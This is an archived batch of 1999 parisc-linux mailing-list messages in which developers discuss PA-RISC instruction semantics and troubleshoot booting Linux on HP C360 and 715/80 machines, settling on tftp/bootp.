	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 07:30:07 -0600
Original-Received: (qmail 10170 invoked by uid 15267); 22 Sep 1999 13:32:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10158 invoked from network); 22 Sep 1999 13:32:29 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 13:32:29 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 88A5432CE2; Wed, 22 Sep 1999 15:32:28 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 5571267BC; Wed, 22 Sep 1999 15:32:28 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 0EC7F7F8B; Wed, 22 Sep 1999 15:32:24 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199909220426.VAA27105@milano.cup.hp.com>; from Grant Grundler on Tue, Sep 21, 1999 at 09:26:50PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9939

> >  [Question: Page 5-149 from the PA-RISC 1.1 Architecture and Instruction
> > Set Reference Manual states: "Level 0:  If the target control register
> > is CR 8, 9, 12, 13, 17, or 20, this instructin executes as a null
> > instruction."  I am assuming we are running at level 0 since the rfi
> > command required running at level 0, so what is the difference between a
> > null instruction and a nop?]

There is none.  Null instructions (here) refer to instructions ignored since
they don't apply to the specific hardware.  Nops are usually regular forms of
arithmetic / logical instructions that happen to do nothing.

> That's an easy one:
> Nullfied instructions are simple ignored - output discarded.

Except we're not talking about nullified instructions :)

	Philipp Rumpf


From - Thu Nov 08 21:16:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C360 boot problem
Date: Wed, 22 Sep 1999 15:34:00 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <19990922153400.A5481@suse.de>
References: <199909220426.VAA27105@milano.cup.hp.com> <Pine.HPX.4.05.9909220937120.2148-100000@gamgee.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619767 14000 80.91.229.3 (22 Nov 2014 01:29:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:27 +0000 (UTC)
Cc: Parisc Linux <parisc-linux@thepuffingroup.com>
To: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Original-X-From: prumpf@suse.de  Wed Sep 22 07:31:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA16337
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 07:31:38 -0600
Original-Received: (qmail 10715 invoked by uid 15267); 22 Sep 1999 13:34:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10701 invoked from network); 22 Sep 1999 13:34:01 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 13:34:01 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 9FD4032CE5; Wed, 22 Sep 1999 15:34:00 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 6150367BC; Wed, 22 Sep 1999 15:34:00 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 24A727F8C; Wed, 22 Sep 1999 15:34:00 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <Pine.HPX.4.05.9909220937120.2148-100000@gamgee.ntc.nokia.com>; from Hannu Martikka on Wed, Sep 22, 1999 at 09:45:51AM +0300
Xref: news.gmane.org gmane.linux.ports.parisc:9940

> I downloaded the latest kernel(+ramdisk) from CVS and tried it on my C360.
> It does not print anything on screen but just blinks the leds. Here's what
> it looks like:
> 
> Leds:	1234
> 	II
> 	I  I
> 	I I 
> and then from the begining...
> 
> I guess it is trying to tell me something, but what?

Can you try to get the PIM contents and search for the symbols closest to
IAOQ / CR18 in your System.map ?

	Philipp Rumpf


From - Thu Nov 08 21:16:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problems
Date: Wed, 22 Sep 1999 15:35:09 +0200
Lines: 9
Approved: news@gmane.org
Message-ID: <19990922153509.B5481@suse.de>
References: <199909162158.OAA21289@milano.cup.hp.com> <Pine.HPX.4.05.9909221438440.2148-100000@gamgee.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619768 14010 80.91.229.3 (22 Nov 2014 01:29:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Original-X-From: prumpf@suse.de  Wed Sep 22 07:32:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA16440
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 07:32:46 -0600
Original-Received: (qmail 11145 invoked by uid 15267); 22 Sep 1999 13:35:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11135 invoked from network); 22 Sep 1999 13:35:09 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 13:35:09 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 234E232CE9; Wed, 22 Sep 1999 15:35:09 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id EB8B367BE; Wed, 22 Sep 1999 15:35:08 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 1CE067F8B; Wed, 22 Sep 1999 15:35:09 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <Pine.HPX.4.05.9909221438440.2148-100000@gamgee.ntc.nokia.com>; from Hannu Martikka on Wed, Sep 22, 1999 at 02:48:17PM +0300
Xref: news.gmane.org gmane.linux.ports.parisc:9941

> With 715/80 I get following:
> Boot
> :disk(....)/stand/vmlinux

you might want to try to boot via tftp / bootp as this is what most of us do
and it seems to work for us.

	Philipp Rumpf


From - Thu Nov 08 21:16:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Questions understanding exec_kernel
Date: Wed, 22 Sep 1999 15:36:31 +0200
Lines: 9
Approved: news@gmane.org
Message-ID: <19990922153631.C5481@suse.de>
References: <37E82CE6.3A5DFFB0@uswest.net> <199909221246.GAA29606@hpeshai.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619768 14015 80.91.229.3 (22 Nov 2014 01:29:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:28 +0000 (UTC)
Cc: rbradetich@uswest.net, parisc-linux@thepuffingroup.com
To: Hai Vo-Ba <hai@fc.hp.com>
Original-X-From: prumpf@suse.de  Wed Sep 22 07:34:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA16548
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 07:34:13 -0600
Original-Received: (qmail 11671 invoked by uid 15267); 22 Sep 1999 13:36:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11664 invoked from network); 22 Sep 1999 13:36:36 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 13:36:36 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 7305432CE5; Wed, 22 Sep 1999 15:36:35 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 09AA767BA; Wed, 22 Sep 1999 15:36:35 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 831547F8B; Wed, 22 Sep 1999 15:36:31 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199909221246.GAA29606@hpeshai.fc.hp.com>; from Hai Vo-Ba on Wed, Sep 22, 1999 at 06:46:31AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9942

>     If I remember right, RFI followed by a NOP is an idiom to tell the CPU
>   to start fetching instructions from an absolute address pointed to by the
>   IVA so we usually want to that with interrupts enabled (Q & I bits set).

Are you sure ?  It never did that on the machines I tested on so far (712,
A180C and indirectly 715).

	Philipp Rumpf


From - Thu Nov 08 21:16:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problems
Date: Wed, 22 Sep 1999 06:42:43 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <199909221342.GAA27508@milano.cup.hp.com>
References: <Pine.HPX.4.05.9909221438440.2148-100000@gamgee.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619768 14020 80.91.229.3 (22 Nov 2014 01:29:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Original-X-From: grundler@cup.hp.com  Wed Sep 22 07:41:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA16655
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 07:41:51 -0600
Original-Received: (qmail 14302 invoked by uid 15267); 22 Sep 1999 13:44:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14271 invoked from network); 22 Sep 1999 13:44:13 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 13:44:13 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id JAA21839;
	Wed, 22 Sep 1999 09:43:32 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id GAA27508; Wed, 22 Sep 1999 06:42:43 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 22 Sep 1999 14:48:17 PDT."
             <Pine.HPX.4.05.9909221438440.2148-100000@gamgee.ntc.nokia.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9943

Hannu Martikka wrote:
> Hei!
> 
> 
> With 715/80 I get following:
> 
> Boot
> :disk(....)/stand/vmlinux
> 

Hannu/Goodi,
You didn't get any messages about a bad address here?

Dumping the GRs/CRs/SRs suggests a SW fault which can't be
handled...but the linux kernel needs to learn how to dump
more useful information.

BTW, those "<bunch of HEX-values>" mean something to various
people on the list. If you can collect (and post) all output
via serial console starting with the "Boot" message, others
on this list might be able to help.

> GRs
> 
> 0x00000000
> ...
> 	<bunch of HEX-values>
> CRs
> 
> 	<bunch of HEX-values>
> SRs
> 
> 	<bunch of HEX-values>
> OTHER
> 
> 	<bunch of HEX-values>
> 
> and then nothing...
> It should be plain 715 but I have addon X.25 card on this machine (EISA?)

I think the EISA is ignored for now...

grant

> 
> - Goodi
> "The linuX Files -- The Source is Out There."
> ,,`,,`,,`,,``,,
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problems
Date: Wed, 22 Sep 1999 17:27:44 +0300 (EETDST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.05.9909221725280.1697-100000@gamgee.ntc.nokia.com>
References: <19990922153509.B5481@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416619769 14025 80.91.229.3 (22 Nov 2014 01:29:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: martikka@stybba.ntc.nokia.com  Wed Sep 22 08:25:38 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA17975
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 08:25:37 -0600
Original-Received: (qmail 30381 invoked by uid 15267); 22 Sep 1999 14:28:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30374 invoked from network); 22 Sep 1999 14:28:00 -0000
Original-Received: from mgw-x2.nokia.com (131.228.20.22)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 14:28:00 -0000
Original-Received: from mgw-i2.ntc.nokia.com (mgw-i2.ntc.nokia.com [131.228.118.61])
	by mgw-x2.nokia.com (8.9.3/8.9.3) with ESMTP id RAA22566;
	Wed, 22 Sep 1999 17:27:47 +0300 (EETDST)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i2.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id RAA08416;
	Wed, 22 Sep 1999 17:27:46 +0300 (EETDST)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id RAA09340;
	Wed, 22 Sep 1999 17:27:45 +0300 (EET DST)
In-Reply-To: <19990922153509.B5481@suse.de>
Xref: news.gmane.org gmane.linux.ports.parisc:9944

On Wed, 22 Sep 1999, Philipp Rumpf wrote:

> > With 715/80 I get following:
> > Boot
> > :disk(....)/stand/vmlinux
> 
> you might want to try to boot via tftp / bootp as this is what most of us do
> and it seems to work for us.
What's the difference? I mean why should it be different?
I guess tftp/bootp uses the Image (make Image) and IPL can use vmlinux
(make vmlinux) kernel.

> 	Philipp Rumpf
- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,


From - Thu Nov 08 21:16:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problems
Date: Wed, 22 Sep 1999 16:29:49 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <19990922162949.F5481@suse.de>
References: <19990922153509.B5481@suse.de> <Pine.HPX.4.05.9909221725280.1697-100000@gamgee.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619769 14027 80.91.229.3 (22 Nov 2014 01:29:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Original-X-From: prumpf@suse.de  Wed Sep 22 08:27:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA18147
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 08:27:28 -0600
Original-Received: (qmail 31154 invoked by uid 15267); 22 Sep 1999 14:29:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31147 invoked from network); 22 Sep 1999 14:29:51 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 14:29:51 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 2539932CE5; Wed, 22 Sep 1999 16:29:50 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 2475D67A8; Wed, 22 Sep 1999 16:29:50 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id F1EC07F8B; Wed, 22 Sep 1999 16:29:49 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <Pine.HPX.4.05.9909221725280.1697-100000@gamgee.ntc.nokia.com>; from Hannu Martikka on Wed, Sep 22, 1999 at 05:27:44PM +0300
Xref: news.gmane.org gmane.linux.ports.parisc:9945

> What's the difference? I mean why should it be different?
> I guess tftp/bootp uses the Image (make Image) and IPL can use vmlinux
> (make vmlinux) kernel.

It can't (or at least I don't know it can).  The kernel image has to be
loaded by a boot loader, and there is reason to believe it has to be our
boot loader.

 	Philipp Rumpf


From - Thu Nov 08 21:16:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problems
Date: Wed, 22 Sep 1999 07:31:50 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <199909221431.HAA27632@milano.cup.hp.com>
References: <19990922153509.B5481@suse.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619769 14032 80.91.229.3 (22 Nov 2014 01:29:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:29 +0000 (UTC)
Cc: Hannu Martikka <martikka@stybba.ntc.nokia.com>,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: grundler@cup.hp.com  Wed Sep 22 08:31:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA18310
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 08:31:09 -0600
Original-Received: (qmail 32514 invoked by uid 15267); 22 Sep 1999 14:33:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32507 invoked from network); 22 Sep 1999 14:33:32 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 14:33:32 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id KAA06545;
	Wed, 22 Sep 1999 10:32:49 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id HAA27632; Wed, 22 Sep 1999 07:31:58 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 22 Sep 1999 15:35:09 PDT."
             <19990922153509.B5481@suse.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9946

Philipp Rumpf wrote:
> Hannu Martikka wrote:
> > With 715/80 I get following:
> > Boot
> > :disk(....)/stand/vmlinux
> 
> you might want to try to boot via tftp / bootp as this is what most of us do
> and it seems to work for us.

Goodi,
Are you using HP-UX boot loader?

To boot from disk, one should do "make Image" and dd the Image to disk.
This will trash the HP-UX file system so only do this on a spare disk!
The loader used is then from the parisc-linux source tree.

grant


From - Thu Nov 08 21:16:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problems
Date: Wed, 22 Sep 1999 18:18:49 +0300 (EETDST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.05.9909221816030.1697-100000@gamgee.ntc.nokia.com>
References: <199909221342.GAA27508@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416619770 14035 80.91.229.3 (22 Nov 2014 01:29:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: martikka@stybba.ntc.nokia.com  Wed Sep 22 09:26:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA18982
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 09:26:39 -0600
Original-Received: (qmail 21388 invoked by uid 15267); 22 Sep 1999 15:29:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21370 invoked from network); 22 Sep 1999 15:29:01 -0000
Original-Received: from mgw-x2.nokia.com (131.228.20.22)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 15:29:01 -0000
Original-Received: from mgw-i2.ntc.nokia.com (mgw-i2.ntc.nokia.com [131.228.118.61])
	by mgw-x2.nokia.com (8.9.3/8.9.3) with ESMTP id SAA02457;
	Wed, 22 Sep 1999 18:18:51 +0300 (EETDST)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i2.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id SAA24667;
	Wed, 22 Sep 1999 18:18:50 +0300 (EETDST)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id SAA14825;
	Wed, 22 Sep 1999 18:18:50 +0300 (EET DST)
In-Reply-To: <199909221342.GAA27508@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9947

On Wed, 22 Sep 1999, Grant Grundler wrote:

> Hannu Martikka wrote:
> > Hei!
> > With 715/80 I get following:
> > 
> > Boot
> > :disk(....)/stand/vmlinux
> > 
> 
> Hannu/Goodi,
> You didn't get any messages about a bad address here?
Nope. First thing that showed up was "GRs".

> Dumping the GRs/CRs/SRs suggests a SW fault which can't be
> handled...but the linux kernel needs to learn how to dump
> more useful information.
> 
> BTW, those "<bunch of HEX-values>" mean something to various
> people on the list. If you can collect (and post) all output
> via serial console starting with the "Boot" message, others
> on this list might be able to help.
I was using the IPL/HPUX loader to start kernel. Are you still interested?
It now works with tftp/bootp.

> Grant Grundler
> Communications Infrastructure Computer Operations
> +1.408.447.7253
- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,


From - Thu Nov 08 21:16:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problems
Date: Wed, 22 Sep 1999 18:15:56 +0300 (EETDST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.05.9909221807370.1697-100000@gamgee.ntc.nokia.com>
References: <199909221431.HAA27632@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416619770 14041 80.91.229.3 (22 Nov 2014 01:29:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:30 +0000 (UTC)
Cc: Philipp Rumpf <prumpf@suse.de>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: martikka@stybba.ntc.nokia.com  Wed Sep 22 09:30:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA19182
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 09:30:31 -0600
Original-Received: (qmail 20382 invoked by uid 15267); 22 Sep 1999 15:26:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20375 invoked from network); 22 Sep 1999 15:26:14 -0000
Original-Received: from mgw-x1.nokia.com (131.228.20.21)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 15:26:14 -0000
Original-Received: from mgw-i1.ntc.nokia.com (mgw-i1.ntc.nokia.com [131.228.118.60])
	by mgw-x1.nokia.com (8.9.3/8.9.3) with ESMTP id SAA25387;
	Wed, 22 Sep 1999 18:15:58 +0300 (EETDST)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i1.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id SAA04574;
	Wed, 22 Sep 1999 18:15:57 +0300 (EETDST)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id SAA14488;
	Wed, 22 Sep 1999 18:15:57 +0300 (EET DST)
In-Reply-To: <199909221431.HAA27632@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9948

On Wed, 22 Sep 1999, Grant Grundler wrote:

> Philipp Rumpf wrote:
> > Hannu Martikka wrote:
> > > With 715/80 I get following:
> > > Boot
> > > :disk(....)/stand/vmlinux
> > 
> > you might want to try to boot via tftp / bootp as this is what most of us do
> > and it seems to work for us.
> 
> Goodi,
> Are you using HP-UX boot loader?
I was... It used to work (at the time when kernel didn't... :)

> To boot from disk, one should do "make Image" and dd the Image to disk.
> This will trash the HP-UX file system so only do this on a spare disk!
> The loader used is then from the parisc-linux source tree.
I setup the tftp/bootp server and now I can boot my 715/80 from lan.
Last thing it says is "urgh" and then it stays in for(;;). I cannot say
wether that is good or bad :)

> grant
- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,



From - Thu Nov 08 21:16:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problems
Date: Wed, 22 Sep 1999 13:00:14 -0400
Organization: The Puffin Group
Lines: 22
Approved: news@gmane.org
Message-ID: <37E90B1E.526ADF6F@thepuffingroup.com>
References: <199909162158.OAA21289@milano.cup.hp.com> <Pine.HPX.4.05.9909221438440.2148-100000@gamgee.ntc.nokia.com> <19990922153509.B5481@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619770 14043 80.91.229.3 (22 Nov 2014 01:29:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:30 +0000 (UTC)
